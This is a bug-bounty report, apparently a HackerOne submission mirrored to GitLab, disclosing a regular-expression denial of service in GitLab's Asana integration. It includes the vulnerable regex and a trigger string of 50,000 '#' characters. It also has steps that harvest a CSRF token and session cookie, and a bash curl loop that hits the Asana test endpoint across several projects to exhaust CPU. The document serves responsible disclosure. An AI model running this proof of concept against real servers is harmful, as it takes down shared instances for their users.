ReDoS in Asana integration issue mapping when webhook is called
HackerOne report #2376482 by joaxcar on 2024-02-16, assigned to GitLab Team:
Report | Attachments | How To Reproduce
Report
Summary
This is the regexp to check for "issue references" in data parsed to send as webhook calls when using the Asana integration. The regexp is here
https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/integrations/asana.rb?ref_type=heads#L70
issue_finder = %r{(fix\w*|clos[ei]\w*+)?\W*(?:https://app\.asana\.com/\d+/\w+/(\w+)|#(\w+))}i
It's subject to catastrophic backtracking when given a sting of this pattern
'#'.repeat(50000)
This regexp is called everytime a commit is made to the project (Assan integration works by "Add commit messages as comments to Asana tasks"). An attacker can either make a new commit to an attacker project every second to overload the server, but there is also another way using "Test webhook" functionality. When configuring a webhook there is a feature to test the webhook that will also send with it the latest commit message.
There is a rate limit on the test function (5 requests per project per minute) which requires the attacker to create multiple projects to be able to send the right amount of requests (depending on the architecture). The limit for 1K reference architecture is 1 request per second for availability: high. An attack using 6 projects will be able to send one request every second second and this is enough to make this architecture unresponsive.
Steps to reproduce
Use a local hosted Gitlab server
- Log in to Gitlab
- Create a new group called
dos_test - Create between 3 and 6 new projects in the group (name them
dos1,dos2and so on) - In each project go to http://gitlab.example.com/test_dos/dos1/-/settings/integrations/asana/edit
- Add anything in the API field and make sure "active" is checked. Then save
- Go to http://gitlab.example.com/test_dos/dos1 (for each project) and create a new file in the project. Name the file
aand add a commit message containing 50 000#chars. Make the commit. - Open devtools and run this command in the browser terminal
document.querySelector("[name=csrf-token]").content
copy the output and use it as "CSRF-TOKEN" in the script on step 8
7. In devtools go to the "Application" tab and to "cookies". Copy the value of the cookie _gitlab_session and use it in the script at step 8 as "GITLAB-ID"
8. Run this command, replace URL, CSRF_TOKEN, GITLAB_ID and the PROJECTS array
### !/bin/bash
URL="http://20.236.120.94"
CSRF_TOKEN="5Zki01_ebEKki6bBjz-s-ZSlRVwCS_1ez-cx9qwwPMsVI5opcM7HYGDNBw9W91OL7IOTOP_HBIq9toVAR_6Zmg"
GITLAB_ID="0eb6270bab31b8f16ce051e4f389a800"
### Array of project names
PROJECTS=("test_dos/dos10" "test_dos/dos11" "test_dos/dos12")
### Duration for the loop to run: 10 minutes (600 seconds)
DURATION=15
### Start time
START_TIME=$(date +%s)
### Index to keep track of the current URL
INDEX=1
### Get the number of projects in the array
PROJECT_COUNT=${#PROJECTS[@]}
### Loop until the duration is reached
while [ $(($(date +%s) - START_TIME)) -lt $DURATION ]; do
# Current URL to make the curl request to
PROJECT=${PROJECTS[INDEX]}
# Make the curl request
curl "$URL/$PROJECT/-/settings/integrations/asana/test" \
-X 'PUT' \
-H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7kqTFLAKyBteZvzK' \
-H "Cookie: _gitlab_session=$GITLAB_ID" \
-H "X-CSRF-Token: $CSRF_TOKEN" \
--data-raw $'------WebKitFormBoundary7kqTFLAKyBteZvzK\r\nContent-Disposition: form-data; name="_method"\r\n\r\nput\r\n------WebKitFormBoundary7kqTFLAKyBteZvzK\r\nContent-Disposition: form-data; name="authenticity_token"\r\n\r\sss\r\n------WebKitFormBoundary7kqTFLAKyBteZvzK\r\nContent-Disposition: form-data; name="redirect_to"\r\n\r\nhttp://20.236.120.94/test_dos/dos9/-/settings/integrations/asana/edit\r\n------WebKitFormBoundary7kqTFLAKyBteZvzK\r\nContent-Disposition: form-data; name="service[active]"\r\n\r\ntrue\r\n------WebKitFormBoundary7kqTFLAKyBteZvzK\r\nContent-Disposition: form-data; name="service[api_key]"\r\n\r\n\r\n------WebKitFormBoundary7kqTFLAKyBteZvzK\r\nContent-Disposition: form-data; name="service[restrict_to_branch]"\r\n\r\n\r\n------WebKitFormBoundary7kqTFLAKyBteZvzK--\r\n' &
# Increment the index to move to the next project
INDEX=$((INDEX + 1))
# Reset the index to 0 if it reaches the end of the array
if [ $INDEX -eq $(($PROJECT_COUNT+1)) ]; then
INDEX=1
fi
# Wait for 1 second
sleep 1
done
- SSH into the gitlab server and use
toporhtopto view the CPU usage
Here is a video showing the CPU usage
Impact
DOS of gitlab instance and exhaustive resource consumption
What is the current bug behavior?
Asana issues mapping causes DOS system wide
What is the expected correct behavior?
Asana issues should not cause REDOS
Impact
DOS of gitlab instance and exhaustive resource consumption
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
